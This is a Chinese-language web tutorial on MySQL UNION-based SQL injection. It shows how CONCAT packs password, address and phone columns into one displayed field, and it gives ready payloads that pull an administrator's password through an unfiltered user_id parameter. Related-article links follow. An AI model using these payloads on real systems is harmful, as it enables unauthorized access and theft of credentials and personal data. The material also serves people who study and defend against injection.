Mysql數(shù)據(jù)庫使用concat函數(shù)執(zhí)行SQL注入查詢
SQL注入語句有時(shí)候會(huì)使用替換查詢技術(shù),就是讓原有的查詢語句查不到結(jié)果出錯(cuò),而讓自己構(gòu)造的查詢語句執(zhí)行,并把執(zhí)行結(jié)果代替原有查詢語句查詢結(jié)果顯示出來。
例如:原本查詢語句是
select username,email,content from test_table where user_id=uid;
其中uid,是用戶輸入的。正常顯示結(jié)果會(huì)出現(xiàn)用戶名,用戶郵箱,用戶留言內(nèi)容。但是如果uid過濾不嚴(yán),我們可以構(gòu)造如下SQL語句來獲得任意數(shù)據(jù)表信息。
uid=-1 union select username ,password,content from test_talbe where user_id=管理員id;
實(shí)際執(zhí)行就是
select username,email,content from test_table where user_id=-1 union select username ,password,content from test_talbe where user_id=管理員id;
其中顯示正常用戶emai的地方,變成了顯示管理員的密碼了。
但是,往往事情并不是這么簡(jiǎn)單,首先要找到漏洞,其次構(gòu)造這種語句時(shí)候要考慮各個(gè)字段的類型,讓int或samllint類型的字段顯示varchar顯然不合適。最后就是本文要說的。
如果出現(xiàn)問題的SQL語句只有一個(gè)或兩個(gè)字段怎么辦,我們想知道很多東西,一兩個(gè)字段太少了,遠(yuǎn)遠(yuǎn)不能滿足我們的需要。那么我們可以使用concat函數(shù)。
concat函數(shù)本來是這樣用的SELECT CONCAT('My', 'S', 'QL');執(zhí)行結(jié)果是'MySQL'。也就是連接作用的。我們利用它來為我們服務(wù),
uid=-1 union select username ,concat(password,sex,address,telephone),content from test_talbe where user_id=管理員id;
這個(gè)語句實(shí)際查詢了六個(gè)字段,但是顯示的時(shí)候,把password,sex,address,telephone等字段合在一起,顯示在原本應(yīng)該顯示email的地方。
更好的方法:中間用分隔符分開:
uid=-1 union select username ,concat(password,0×3a,sex,0×3a,address,0×3a,telephone) ,content from test_talbe where user_id=管理員id;
其中0×3a是“:”的十六進(jìn) 制形式。
- 淺談三種數(shù)據(jù)庫的?SQL?注入
- 數(shù)據(jù)庫之SQL注入原理以及過程的簡(jiǎn)單介紹
- 一個(gè)簡(jiǎn)單的后臺(tái)與數(shù)據(jù)庫交互的登錄與注冊(cè)[sql注入處理、以及MD5加密]
- sql注入數(shù)據(jù)庫修復(fù)的兩種實(shí)例方法
- 數(shù)據(jù)庫SqlParameter 的插入操作,防止sql注入的實(shí)現(xiàn)代碼
- SQL數(shù)據(jù)庫的高級(jí)sql注入的一些知識(shí)
- 數(shù)據(jù)庫中的內(nèi)容字段被掛馬的替換方法 SQL注入
- ASP+MSSQL2000 數(shù)據(jù)庫被批量注入后的解決方法
- sql注入數(shù)據(jù)庫原理詳情介紹
相關(guān)文章
SQL語句中LEFT JOIN的ON和WHERE有什么區(qū)別
這篇文章主要介紹了SQL語句中LEFT JOIN的ON和WHERE之間的區(qū)別,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)吧2022-12-12
windows下MySQL5.6版本安裝及配置過程附有截圖和詳細(xì)說明
這篇文章主要介紹了windows下MySQL5.6版本安裝及配置過程附有截圖和詳細(xì)說明,需要的朋友可以參考下2013-06-06
MySQL生成千萬測(cè)試數(shù)據(jù)以及遇到的問題
前兩天發(fā)現(xiàn)同事要做一個(gè)對(duì)大表進(jìn)行范圍查詢的功能,所以需要生成千萬數(shù)據(jù)進(jìn)行性能測(cè)試,下面這篇文章主要給大家介紹了關(guān)于MySQL生成千萬測(cè)試數(shù)據(jù)以及遇到的問題的相關(guān)資料,文中通過實(shí)例代碼介紹的非常詳細(xì),需要的朋友可以參考下2022-08-08
解決mysql數(shù)據(jù)庫導(dǎo)入sql文件不成功的問題
這篇文章主要介紹了解決mysql數(shù)據(jù)庫導(dǎo)入sql文件不成功的問題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2023-11-11

